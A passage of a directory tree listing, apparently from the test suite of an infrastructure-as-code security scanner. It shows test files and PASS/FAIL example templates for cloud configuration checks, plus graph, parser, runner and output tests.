example_LaunchConfigurationEBSEncryption/ │ │ │ │ ├── LaunchConfigurationEBSEncryption-FAILED-no-enc.yml │ │ │ │ ├── LaunchConfigurationEBSEncryption-PASSED-ephermal.yml │ │ │ │ ├── LaunchConfigurationEBSEncryption-PASSED.yml │ │ │ │ ├── LaunchConfigurationEBSEncryption-UNKNOWN.yml │ │ │ │ └── LaunchConfigurationEBSEncryption-UNKNOWN_2.yml │ │ │ ├── example_MQBrokerAuditLogging/ │ │ │ │ ├── FAIL.yaml │ │ │ │ ├── PASS.yaml │ │ │ │ └── UNKNOWN.yaml │ │ │ ├── example_MSKClusterEncryption/ │ │ │ │ ├── MSKClusterEncryption-FAIL.yaml │ │ │ │ └── MSKClusterEncryption-PASS.yaml │ │ │ ├── example_MSKClusterLogging/ │ │ │ │ ├── MSKClusterNodesArePrivate-FAIL.yaml │ │ │ │ └── MSKClusterNodesArePrivate-PASS.yaml │ │ │ ├── example_MSKClusterNodesArePrivate/ │ │ │ │ ├── MSKClusterNodesArePrivate-FAIL.yaml │ │ │ │ └── MSKClusterNodesArePrivate-PASS.yaml │ │ │ ├── example_NeptuneClusterBackupRetention/ │ │ │ │ ├── NeptuneClusterBackupRetention-FAILED.yml │ │ │ │ └── NeptuneClusterBackupRetention-PASSED.yml │ │ │ ├── example_NeptuneClusterLogging/ │ │ │ │ ├── NeptuneClusterLogging-FAILED.yml │ │ │ │ └── NeptuneClusterLogging-PASSED.yml │ │ │ ├── example_NeptuneClusterStorageEncrypted/ │ │ │ │ ├── NeptuneClusterStorageEncrypted-FAILED.yml │ │ │ │ └── NeptuneClusterStorageEncrypted-PASSED.yml │ │ │ ├── example_OpensearchDomainAuditLogging/ │ │ │ │ ├── ElasticsearchDomainLogging-FAILED.yaml │ │ │ │ └── ElasticsearchDomainLogging-PASSED.yaml │ │ │ ├── example_ParameterStoreCredentials/ │ │ │ │ ├── mix.yaml │ │ │ │ └── no_crash.yaml │ │ │ ├── example_QLDBLedgerDeletionProtection/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_QLDBLedgerPermissionsMode/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_RDSClusterIAMAuthentication/ │ │ │ │ ├── RDSClusterIAMAuthentication-FAIL.yaml │ │ │ │ └── RDSClusterIAMAuthentication-PASSED.yaml │ │ │ ├── example_RDSEncryption/ │ │ │ │ ├── RDSEncryption-FAIL.yaml │ │ │ │ ├── RDSEncryption-PASSED.yaml │ │ │ │ └── RDSEncryption-UNKNOWN.yaml │ │ │ ├── example_RDSEnhancedMonitorEnabled/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_RDSIAMAuthentication/ │ │ │ │ ├── RDSIAMAuthentication-FAIL.yaml │ │ │ │ ├── RDSIAMAuthentication-PASSED.yaml │ │ │ │ └── RDSIAMAuthentication-UNKNOWN.yaml │ │ │ ├── example_RDSMultiAZEnabled/ │ │ │ │ ├── RDSMultiAZEnabled-FAILED-2.yaml │ │ │ │ ├── RDSMultiAZEnabled-FAILED.yaml │ │ │ │ ├── RDSMultiAZEnabled-PASSED.yaml │ │ │ │ └── RDSMultiAZEnabled-UNKNOWN.yaml │ │ │ ├── example_RDSPubliclyAccessible/ │ │ │ │ ├── RDSPubliclyAccessible-FAIL.yaml │ │ │ │ ├── RDSPubliclyAccessible-PASSED-2.yaml │ │ │ │ └── RDSPubliclyAccessible-PASSED.yaml │ │ │ ├── example_RedShiftSSL/ │ │ │ │ ├── RedShiftSSL-FAILED.yaml │ │ │ │ └── RedShiftSSL-PASSED.yaml │ │ │ ├── example_RedshiftClusterEncryption/ │ │ │ │ ├── RedshiftClusterEncryption-FAILED.yaml │ │ │ │ └── RedshiftClusterEncryption-PASSED.yaml │ │ │ ├── example_RedshiftClusterLogging/ │ │ │ │ ├── RedshiftClusterLogging-FAILED.yaml │ │ │ │ └── RedshiftClusterLogging-PASSED.yaml │ │ │ ├── example_RedshiftClusterPubliclyAccessible/ │ │ │ │ ├── RedshiftClusterPubliclyAccessible-FAILED.yaml │ │ │ │ └── RedshiftClusterPubliclyAccessible-PASSED.yaml │ │ │ ├── example_RedshiftInEc2ClassicMode/ │ │ │ │ ├── RedshiftInEc2ClassicMode-FAILED.yaml │ │ │ │ └── RedshiftInEc2ClassicMode-PASSED.yaml │ │ │ ├── example_SNSTopicEncryption/ │ │ │ │ ├── test_SNSTopicEncryption-FAILED.yml │ │ │ │ └── test_SNSTopicEncryption-PASSED.yml │ │ │ ├── example_SQSQueueEncryption/ │ │ │ │ ├── test_SQSQueueEncryption-FAILED.yml │ │ │ │ ├── test_SQSQueueEncryption-FAILED2.yml │ │ │ │ └── test_SQSQueueEncryption-PASSED.yml │ │ │ ├── example_SagemakerDataQualityJobDefinitionEncryption/ │ │ │ │ ├── SagemakerDataQualityJobDefinitionEncryption-FAILED.yaml │ │ │ │ └── SagemakerDataQualityJobDefinitionEncryption-PASSED.yaml │ │ │ ├── example_SagemakerDataQualityJobDefinitionTrafficEncryption/ │ │ │ │ ├── SagemakerDataQualityJobDefinitionTrafficEncryption-FAILED.yaml │ │ │ │ └── SagemakerDataQualityJobDefinitionTrafficEncryption-PASSED.yaml │ │ │ ├── example_SagemakerDataQualityJobDefinitionVolumeEncryption/ │ │ │ │ ├── SagemakerDataQualityJobDefinitionVolumeEncryption-FAILED.yaml │ │ │ │ └── SagemakerDataQualityJobDefinitionVolumeEncryption-PASSED.yaml │ │ │ ├── example_SagemakerModelWithNetworkIsolation/ │ │ │ │ ├── SagemakerModelWithNetworkIsolation-FAILED.yaml │ │ │ │ └── SagemakerModelWithNetworkIsolation-PASSED.yaml │ │ │ ├── example_SagemakerNotebookEncryptedWithCMK/ │ │ │ │ └── template.yaml │ │ │ ├── example_SagemakerNotebookInstanceAllowsIMDSv2/ │ │ │ │ ├── SagemakerNotebookInstanceAllowsIMDSv2-FAILED.yaml │ │ │ │ └── SagemakerNotebookInstanceAllowsIMDSv2-PASSED.yaml │ │ │ ├── example_SecretManagerSecretEncrypted/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_SecurityGroupRuleDescription/ │ │ │ │ ├── SecurityGroupRuleDescription-FAILED-2.yaml │ │ │ │ ├── SecurityGroupRuleDescription-FAILED-3.yaml │ │ │ │ ├── SecurityGroupRuleDescription-FAILED.yaml │ │ │ │ ├── SecurityGroupRuleDescription-PASSED-2.yaml │ │ │ │ ├── SecurityGroupRuleDescription-PASSED-3.yaml │ │ │ │ ├── SecurityGroupRuleDescription-PASSED-4.yaml │ │ │ │ └── SecurityGroupRuleDescription-PASSED.yaml │ │ │ ├── example_SecurityGroupUnrestrictedIngress22/ │ │ │ │ ├── SecurityGroupQuotes-FAILED.yaml │ │ │ │ ├── SecurityGroupRange-FAILED.yaml │ │ │ │ ├── SecurityGroupRangeInvalid-PASSED.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress22-FAILED-2.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress22-FAILED-3.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress22-FAILED.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress22-PASSED.yaml │ │ │ │ └── SecurityGroupUnrestrictedIngress22-UNKNOWN.yaml │ │ │ ├── example_SecurityGroupUnrestrictedIngress3389/ │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389-FAILED-2.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389-FAILED.yaml │ │ │ │ └── SecurityGroupUnrestrictedIngress3389-PASSED.yaml │ │ │ ├── example_SecurityGroupUnrestrictedIngress80/ │ │ │ │ ├── SecurityGroupUnrestrictedIngress80-FAILED-2.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress80-FAILED-3.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress80-FAILED.yaml │ │ │ │ ├── SecurityGroupUnrestrictedIngress80-PASSED.yaml │ │ │ │ └── SecurityGroupUnrestrictedIngress80-UNKNOWN.yaml │ │ │ ├── example_TimestreamDatabaseKMSKey/ │ │ │ │ ├── TimestreamDatabaseKMSKey-FAILED.yaml │ │ │ │ └── TimestreamDatabaseKMSKey-PASSED.yaml │ │ │ ├── example_TransferServerIsPublic/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_VPCEndpointAcceptanceConfigured/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_WAFACLCVE202144228/ │ │ │ │ ├── FAILED.yaml │ │ │ │ └── PASSED.yaml │ │ │ ├── example_WAFEnabled/ │ │ │ │ ├── WAFEnabled-FAILED.yaml │ │ │ │ └── WAFEnabled-PASSED.yaml │ │ │ ├── example_WorkspaceRootVolumeEncrypted/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_WorkspaceUserVolumeEncrypted/ │ │ │ │ ├── FAIL.yaml │ │ │ │ └── PASS.yaml │ │ │ ├── example_cloudfrontDistribution/ │ │ │ │ ├── CloudfrontDistributionEncryption-FAILED-2.yaml │ │ │ │ ├── CloudfrontDistributionEncryption-FAILED.yaml │ │ │ │ ├── CloudfrontDistributionEncryption-PASSED.yaml │ │ │ │ └── CloudfrontDistributionEncryption-UNKNOWN.yaml │ │ │ ├── test_ALBDropHttpHeaders.py │ │ │ ├── test_ALBListenerHTTPS.py │ │ │ ├── test_ALBListenerTLS12.py │ │ │ ├── test_APIGatewayAccessLogging.py │ │ │ ├── test_APIGatewayAuthorization.py │ │ │ ├── test_APIGatewayCacheEnable.py │ │ │ ├── test_APIGatewayV2AccessLogging.py │ │ │ ├── test_APIGatewayXray.py │ │ │ ├── test_AmazonMQBrokerPublicAccess.py │ │ │ ├── test_AppSyncFieldLevelLogs.py │ │ │ ├── test_AppSyncLogging.py │ │ │ ├── test_AthenaWorkgroupConfiguration.py │ │ │ ├── test_AuroraEncryption.py │ │ │ ├── test_BackupVaultEncrypted.py │ │ │ ├── test_BedrockAgentEncrypted.py │ │ │ ├── test_CloudFrontTLS12.py │ │ │ ├── test_CloudWatchLogGroupKMSKey.py │ │ │ ├── test_CloudWatchLogGroupRetention.py │ │ │ ├── test_CloudfrontDistributionEncryption.py │ │ │ ├── test_CloudfrontDistributionLogging.py │ │ │ ├── test_CloudsplainingIAMCredentialsExposure.py │ │ │ ├── test_CloudsplainingIAMGroup.py │ │ │ ├── test_CloudsplainingIAMRole.py │ │ │ ├── test_CloudsplainingIAMUser.py │ │ │ ├── test_CloudsplainingManagedPolicy.py │ │ │ ├── test_CloudtrailEncryption.py │ │ │ ├── test_CloudtrailLogValidation.py │ │ │ ├── test_CloudtrailMultiRegion.py │ │ │ ├── test_CodeBuildProjectEncryption.py │ │ │ ├── test_CognitoUnauthenticatedIdentities.py │ │ │ ├── test_DAXEncryption.py │ │ │ ├── test_DMSReplicationInstancePubliclyAccessible.py │ │ │ ├── test_DeprecatedLambdaRuntime.py │ │ │ ├── test_DocDBAuditLogs.py │ │ │ ├── test_DocDBBackupRetention.py │ │ │ ├── test_DocDBEncryption.py │ │ │ ├── test_DocDBLogging.py │ │ │ ├── test_DocDBTLS.py │ │ │ ├── test_DynamoDBTablesEncrypted.py │ │ │ ├── test_DynamodbGlobalTableRecovery.py │ │ │ ├── test_DynamodbRecovery.py │ │ │ ├── test_EBSEncryption.py │ │ │ ├── test_EC2Credentials.py │ │ │ ├── test_EC2PublicIP.py │ │ │ ├── test_ECRImageScanning.py │ │ │ ├── test_ECRImmutableTags.py │ │ │ ├── test_ECRPolicy.py │ │ │ ├── test_ECRRepositoryEncrypted.py │ │ │ ├── test_ECSClusterContainerInsights.py │ │ │ ├── test_ECSTaskDefinitionEFSVolumeEncryption.py │ │ │ ├── test_EFSEncryption.py │ │ │ ├── test_EKSNodeGroupRemoteAccess.py │ │ │ ├── test_EKSSecretEncryption.py │ │ │ ├── test_ELBAccessLogs.py │ │ │ ├── test_ELBv2AccessLogs.py │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtRest.py │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtTransit.py │ │ │ ├── test_ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py │ │ │ ├── test_ElasticsearchDomainAuditLogging.py │ │ │ ├── test_ElasticsearchDomainEnforceHTTPS.py │ │ │ ├── test_ElasticsearchDomainLogging.py │ │ │ ├── test_ElastisearchEncryption.py │ │ │ ├── test_ElastisearchNodeToNodeEncryption.py │ │ │ ├── test_GlueDataCatalogEncryption.py │ │ │ ├── test_GlueSecurityConfiguration.py │ │ │ ├── test_GlueSecurityConfigurationEnabled.py │ │ │ ├── test_IAMAdminPolicyDocument.py │ │ │ ├── test_IAMPermissionsManagement.py │ │ │ ├── test_IAMPolicyAttachedToGroupOrRoles.py │ │ │ ├── test_IAMRoleAllowAssumeFromAccount.py │ │ │ ├── test_IAMRoleAllowsPublicAssume.py │ │ │ ├── test_IAMStarActionPolicyDocument.py │ │ │ ├── test_IAMWriteAccess.py │ │ │ ├── test_IMDSv1Disabled.py │ │ │ ├── test_KMSKeyWildCardPrincipal.py │ │ │ ├── test_KMSRotation.py │ │ │ ├── test_KinesisStreamEncryptionType.py │ │ │ ├── test_LambdaDLQConfigured.py │ │ │ ├── test_LambdaEnvironmentCredentials.py │ │ │ ├── test_LambdaEnvironmentEncryptionSettings.py │ │ │ ├── test_LambdaFunctionLevelConcurrentExecutionLimit.py │ │ │ ├── test_LambdaFunctionURLAuth.py │ │ │ ├── test_LambdaInVPC.py │ │ │ ├── test_LambdaServicePermission.py │ │ │ ├── test_LaunchConfigurationEBSEncryption.py │ │ │ ├── test_MQBrokerAuditLogging.py │ │ │ ├── test_MSKClusterEncryption.py │ │ │ ├── test_MSKClusterLogging.py │ │ │ ├── test_MSKClusterNodesArePrivate.py │ │ │ ├── test_NeptuneClusterBackupRetention.py │ │ │ ├── test_NeptuneClusterLogging.py │ │ │ ├── test_NeptuneClusterStorageEncrypted.py │ │ │ ├── test_ParameterStoreCredentials.py │ │ │ ├── test_QLDBLedgerDeletionProtection.py │ │ │ ├── test_QLDBLedgerPermissionsMode.py │ │ │ ├── test_RDSClusterIAMAuthentication.py │ │ │ ├── test_RDSEncryption.py │ │ │ ├── test_RDSEnhancedMonitorEnabled.py │ │ │ ├── test_RDSIAMAuthentication.py │ │ │ ├── test_RDSMultiAZEnabled.py │ │ │ ├── test_RDSPubliclyAccessible.py │ │ │ ├── test_RedShiftSSL.py │ │ │ ├── test_RedshiftClusterEncryption.py │ │ │ ├── test_RedshiftClusterLogging.py │ │ │ ├── test_RedshiftClusterPubliclyAccessible.py │ │ │ ├── test_RedshiftInEc2ClassicMode.py │ │ │ ├── test_S3AccessLogs.py │ │ │ ├── test_S3BlockPublicACLs.py │ │ │ ├── test_S3BlockPublicPolicy.py │ │ │ ├── test_S3Encryption.py │ │ │ ├── test_S3IgnorePublicACLs.py │ │ │ ├── test_S3PublicACLRead.py │ │ │ ├── test_S3PublicACLWrite.py │ │ │ ├── test_S3RestrictPublicBuckets.py │ │ │ ├── test_S3Versioning.py │ │ │ ├── test_SNSTopicEncryption.py │ │ │ ├── test_SQSQueueEncryption.py │ │ │ ├── test_SagemakerDataQualityJobDefinitionEncryption.py │ │ │ ├── test_SagemakerDataQualityJobDefinitionTrafficEncryption.py │ │ │ ├── test_SagemakerDataQualityJobDefinitionVolumeEncryption.py │ │ │ ├── test_SagemakerModelWithNetworkIsolation.py │ │ │ ├── test_SagemakerNotebookEncryptedWithCMK.py │ │ │ ├── test_SagemakerNotebookInstanceAllowsIMDSv2.py │ │ │ ├── test_SecretManagerSecretEncrypted.py │ │ │ ├── test_SecurityGroupRuleDescription.py │ │ │ ├── test_SecurityGroupUnrestrictedIngress22.py │ │ │ ├── test_SecurityGroupUnrestrictedIngress3389.py │ │ │ ├── test_SecurityGroupUnrestrictedIngress80.py │ │ │ ├── test_TimestreamDatabaseKMSKey.py │ │ │ ├── test_TransferServerIsPublic.py │ │ │ ├── test_VPCEndpointAcceptanceConfigured.py │ │ │ ├── test_WAFACLCVE202144228.py │ │ │ ├── test_WAFEnabled.py │ │ │ ├── test_WorkspaceRootVolumeEncrypted.py │ │ │ ├── test_WorkspaceUserVolumeEncrypted.py │ │ │ └── unused/ │ │ │ ├── EC2InstanceWithSecurityGroupSample-NoDesc.yaml │ │ │ ├── EC2InstanceWithSecurityGroupSample.yaml │ │ │ ├── EKSCluster.yaml │ │ │ ├── ElasticsearchDomain.yaml │ │ │ ├── ec2_instance_with_ebs_volume.yaml │ │ │ ├── ec2_sec_group_2.json │ │ │ ├── ec2_security_group.json │ │ │ └── ec2_with_waitcondition_template.json │ │ └── test_wildcard_entities.py │ ├── file_formats/ │ │ ├── json_with_space/ │ │ │ └── test_json_with_space.json │ │ ├── json_with_tabs/ │ │ │ └── test_json_with_tabs.json │ │ ├── test_json_with_space.py │ │ ├── test_json_with_tabs.py │ │ ├── test_yaml.py │ │ └── yaml/ │ │ └── test_yaml.yaml │ ├── graph/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── ACMWildcardDomainName/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── ALBRedirectHTTPtoHTTPS/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── AppSyncProtectedByWAF/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── CloudfrontOriginNotHTTPSOnly/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── LambdaFunction/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── LambdaOpenCorsPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── MSKClusterLogging/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── RDSEncryptionInTransit/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── SageMakerIAMPolicyOverlyPermissiveToAllTraffic/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ └── SagemakerNotebookEncryption/ │ │ │ │ ├── expected.yaml │ │ │ │ └── template.yaml │ │ │ ├── test_checks/ │ │ │ │ ├── ALBRedirectHTTPtoHTTPS.yaml │ │ │ │ ├── LambdaFunction.yaml │ │ │ │ ├── MSKClusterLogging.yaml │ │ │ │ └── SagemakerNotebookEncryption.yaml │ │ │ ├── test_yaml_policies.py │ │ │ └── test_yaml_policies_with_runner.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── conditioned_vertices/ │ │ │ │ │ ├── json/ │ │ │ │ │ │ └── test.json │ │ │ │ │ └── yaml/ │ │ │ │ │ └── test.yaml │ │ │ │ ├── edges_json/ │ │ │ │ │ └── test.json │ │ │ │ ├── edges_yaml/ │ │ │ │ │ └── test.yaml │ │ │ │ ├── encryption/ │ │ │ │ │ └── test.json │ │ │ │ ├── sam/ │ │ │ │ │ └── template.yaml │ │ │ │ ├── variable_rendering/ │ │ │ │ │ ├── render_findinmap/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_getatt/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_if/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_join/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_params/ │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_ref/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_select/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ ├── render_sub/ │ │ │ │ │ │ ├── json/ │ │ │ │ │ │ │ └── test.json │ │ │ │ │ │ └── yaml/ │ │ │ │ │ │ └── test.yaml │ │ │ │ │ └── render_subsequent_evals/ │ │ │ │ │ ├── json/ │ │ │ │ │ │ └── test.json │ │ │ │ │ └── yaml/ │ │ │ │ │ └── test.yaml │ │ │ │ └── vertices/ │ │ │ │ ├── test.json │ │ │ │ └── test.yaml │ │ │ ├── test_blocks.py │ │ │ ├── test_local_graph.py │ │ │ └── test_render.py │ │ └── graph_runner/ │ │ ├── __init__.py │ │ ├── external_graph_checks/ │ │ │ ├── complex_jsonpath_if_condition.yaml │ │ │ ├── jsonpath_policy.yaml │ │ │ └── simple_graph_check.yaml │ │ ├── resources/ │ │ │ ├── LambdaFunction.json │ │ │ ├── MSKClusterLogging.yaml │ │ │ ├── SagemakerNotebookEncryption.yaml │ │ │ ├── complex_jsonpath_if_condition/ │ │ │ │ └── example.yaml │ │ │ ├── jsonpath_policy/ │ │ │ │ ├── fail_dict.json │ │ │ │ ├── fail_str.json │ │ │ │ └── pass_str.json │ │ │ └── template_with_parameters_names_identical_to_default_values/ │ │ │ └── example.yaml │ │ └── test_running_graph_checks.py │ ├── image_referencer/ │ │ ├── __init__.py │ │ ├── provider/ │ │ │ ├── __init__.py │ │ │ └── test_aws.py │ │ ├── resources/ │ │ │ └── aws/ │ │ │ ├── apprunner.yaml │ │ │ ├── batch.yaml │ │ │ ├── codebuild.yaml │ │ │ ├── ecs.yaml │ │ │ ├── lightsail.yaml │ │ │ ├── sagemaker_image_version.yaml │ │ │ └── sagemaker_model.yaml │ │ ├── test_manager.py │ │ └── test_runner_aws_resources.py │ ├── parser/ │ │ ├── __init__.py │ │ ├── cfn_bad_iam.yaml │ │ ├── cfn_bad_name.yaml │ │ ├── cfn_file.yaml │ │ ├── cfn_file_circular.yaml │ │ ├── cfn_file_resources.yaml │ │ ├── cfn_newline_at_end.yaml │ │ ├── cfn_nonewline_at_end.yaml │ │ ├── cfn_with_ref.yaml │ │ ├── cfn_with_ref_bad.yaml │ │ ├── fail.json │ │ ├── skip.yaml │ │ ├── success.json │ │ ├── success_triple_quotes_string.json │ │ ├── test_cfn_json.py │ │ ├── test_cfn_yaml.py │ │ └── tfplan.json │ ├── runner/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── cfn_newline_at_end.yaml │ │ │ ├── double_statement_cloudsplaining.yml │ │ │ ├── fail.yaml │ │ │ ├── graph.yaml │ │ │ ├── invalid.json │ │ │ ├── invalid.yaml │ │ │ ├── invalid_properties.json │ │ │ ├── invalid_properties.yaml │ │ │ ├── no_properties.json │ │ │ ├── no_properties.yaml │ │ │ ├── skip_sub_dict.json │ │ │ ├── success.json │ │ │ ├── suppress_graph_check.yaml │ │ │ └── tags.yaml │ │ └── test_runner.py │ ├── test_graph_manager.py │ ├── test_scanner_registry.py │ └── utils/ │ ├── __init__.py │ ├── file_formats/ │ │ ├── test.json │ │ ├── test.yaml │ │ └── test2.yaml │ └── test_cfn_utils.py ├── common/ │ ├── __init__.py │ ├── bridgecrew/ │ │ ├── __init__.py │ │ ├── conftest.py │ │ ├── test_wrapper.py │ │ └── vulnerability_scanning/ │ │ ├── __init__.py │ │ ├── conftest.py │ │ ├── integrations/ │ │ │ ├── __init__.py │ │ │ ├── test_docker_image_scanning.py │ │ │ └── test_package_scanning.py │ │ └── test_package_scanner.py │ ├── check_assertion_utils.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── extra_checks/ │ │ │ └── S3EnvironmentCheck.py │ │ ├── extra_yaml_checks/ │ │ │ └── test_app.yaml │ │ ├── test_base_check.py │ │ ├── test_base_check_registry.py │ │ └── test_graph_check_loading.py │ ├── checks_infra/ │ │ ├── examples/ │ │ │ ├── invalid_definition.yaml │ │ │ ├── missing_definition.yaml │ │ │ ├── missing_metadata.yaml │ │ │ ├── missing_metadata_category.yaml │ │ │ ├── valid_check.yaml │ │ │ ├── valid_check_tf.yaml │ │ │ └── valid_check_tf_without_severity.yaml │ │ ├── test-registry-data/ │ │ │ ├── invalid-yaml/ │ │ │ │ ├── data-not.yaml │ │ │ │ └── empty.yaml │ │ │ └── valid-yaml-invalid-check/ │ │ │ └── yaml.yaml │ │ ├── test_checks_parser.py │ │ ├── test_debug.py │ │ └── test_registry.py │ ├── conftest.py │ ├── goget/ │ │ ├── __init__.py │ │ ├── local_getter.py │ │ ├── test_goget_base.py │ │ └── test_goget_github.py │ ├── graph/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── test_block.py │ │ │ ├── test_policy_packaging.py │ │ │ └── test_yaml_policies_base.py │ │ └── graph_builder/ │ │ └── test_graph_builder_utils.py │ ├── image_referencer/ │ │ └── test_utils.py │ ├── images/ │ │ ├── __init__.py │ │ └── test_base_image_referencer.py │ ├── integration_features/ │ │ ├── __init__.py │ │ ├── example_custom_policy_dir/ │ │ │ ├── cfn.yaml │ │ │ ├── main.tf │ │ │ └── msk.yaml │ │ ├── resources/ │ │ │ └── main.tf │ │ ├── test_custom_policies_integration.py │ │ ├── test_fixes_integration.py │ │ ├── test_integration_features.py │ │ ├── test_licensing_integration.py │ │ ├── test_policy_metadata_integration.py │ │ ├── test_repo_config_integration.py │ │ ├── test_suppressions_integration.py │ │ └── test_vulnerabilities_integration.py │ ├── output/ │ │ ├── __init__.py │ │ ├── conftest.py │ │ ├── fixtures/ │ │ │ ├── main.tf │ │ │ └── main_2.tf │ │ ├── test_baseline.py │ │ ├── test_bom_report.py │ │ ├── test_common.py │ │ ├── test_cyclonedx_report.py │ │ ├── test_get_exit_code.py │ │ ├── test_gitlab_sast_report.py │ │ ├── test_junit_report.py │ │ ├── test_record.py │ │ ├── test_report.py │ │ ├── test_sarif_report.py │ │ ├── test_secrets_get_exit_code.py │ │ └── test_spdx.py │ ├── resource_attr_to_omit_configs/ │ │ ├── combined.yml │ │ ├── duplicated_key.yml │ │ ├── first.yml │ │ ├── multiple_keys.yml │ │ ├── real_keys.yml │ │ └── universal_key.yml │ ├── runner_registry/ │ │ ├── __init__.py │ │ ├── example_bicep_with_empty_resources/ │ │ │ └── playground.bicep │ │ ├── example_empty_tf/ │ │ │ └── example_empty_file.tf │ │ ├── example_empty_yaml/ │ │ │ └── example_empty_file.yaml │ │ ├── example_multi_iac/ │ │ │ ├── cfn/ │ │ │ │ └── ExampleS3.yaml │ │ │ ├── k8/ │ │ │ │ ├── nginx-statefulset-FAILED.yaml │ │ │ │ └── scope-PASSED.yaml │ │ │ └── tf/ │ │ │ ├── example.tf │ │ │ └── terraform.tfvars │ │ ├── example_s3_tf/ │ │ │ └── main.tf │ │ ├── plan_module_skip_for_enrichment/ │ │ │ ├── mod_ref/ │ │ │ │ └── main.tf │ │ │ └── tf/ │ │ │ ├── main.tf │ │ │ └── tfplan.json │ │ ├── plan_with_external_tf_modules_for_enrichment/ │ │ │ ├── log_group_external/ │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ ├── variables.tf │ │ │ │ └── versions.tf │ │ │ ├── main.tf │ │ │ ├── providers.tf │ │ │ └── tfplan.json │ │ ├── plan_with_for_each_for_enrichment/ │ │ │ ├── original/ │ │ │ │ └── main.tf │ │ │ └── tf_plan.json │ │ ├── plan_with_hcl_for_enrichment/ │ │ │ ├── dynamodb.tf │ │ │ ├── iam.tf │ │ │ ├── s3.tf │ │ │ └── tfplan.json │ │ ├── plan_with_tf_modules_for_enrichment/ │ │ │ ├── log_group/ │ │ │ │ └── main.tf │ │ │ ├── main.tf │ │ │ ├── providers.tf │ │ │ └── tfplan.json │ │ ├── test_runner_registry.py │ │ └── test_runner_registry_plan_enrichment.py │ ├── runners/ │ │ ├── filter_ignored_directories_by_values/ │ │ │ ├── dir1/ │ │ │ │ ├── dir2++/ │ │ │ │ │ └── file2.tf │ │ │ │ ├── dir4/ │ │ │ │ │ └── file3.tf │ │ │ │ └── file1.tf │ │ │ ├── dir11/ │ │ │ │ └── dir2++/ │ │ │ │ └── file4.tf │ │ │ └── dir33/ │ │ │ ├── dir2++/ │ │ │ │ └── file5.tf │ │ │ └── file2.tf │ │ ├── sample_dir/ │ │ │ ├── dir1/ │ │ │ │ ├── dir2/ │ │ │ │ │ └── file2.tf │ │ │ │ ├── dir4/ │ │ │ │ │ └── file3.tf │ │ │ │ └── file1.tf │ │ │ ├── dir11/ │ │ │ │ └── dir2/ │ │ │ │ └── file4.tf │ │ │ └── dir33/ │ │ │ ├── dir2/ │ │ │ │ └── file5.tf │ │ │ └── file2.tf │ │ └── test_base_runner.py │ ├── sca/ │ │ ├── __init__.py │ │ ├── reachability/ │ │ │ ├── __init__.py │ │ │ ├── example_repo/ │ │ │ │ └── tsconfig.json │ │ │ ├── nodejs/ │ │ │ │ ├── __init__.py │ │ │ │ ├── examples/ │ │ │ │ │ ├── babel/ │ │ │ │ │ │ ├── babel_config/ │ │ │ │ │ │ │ └── babel.config.js │ │ │ │ │ │ └── babelrc/ │ │ │ │ │ │ └── .babelrc │ │ │ │ │ ├── fake_file/ │ │ │ │ │ │ └── 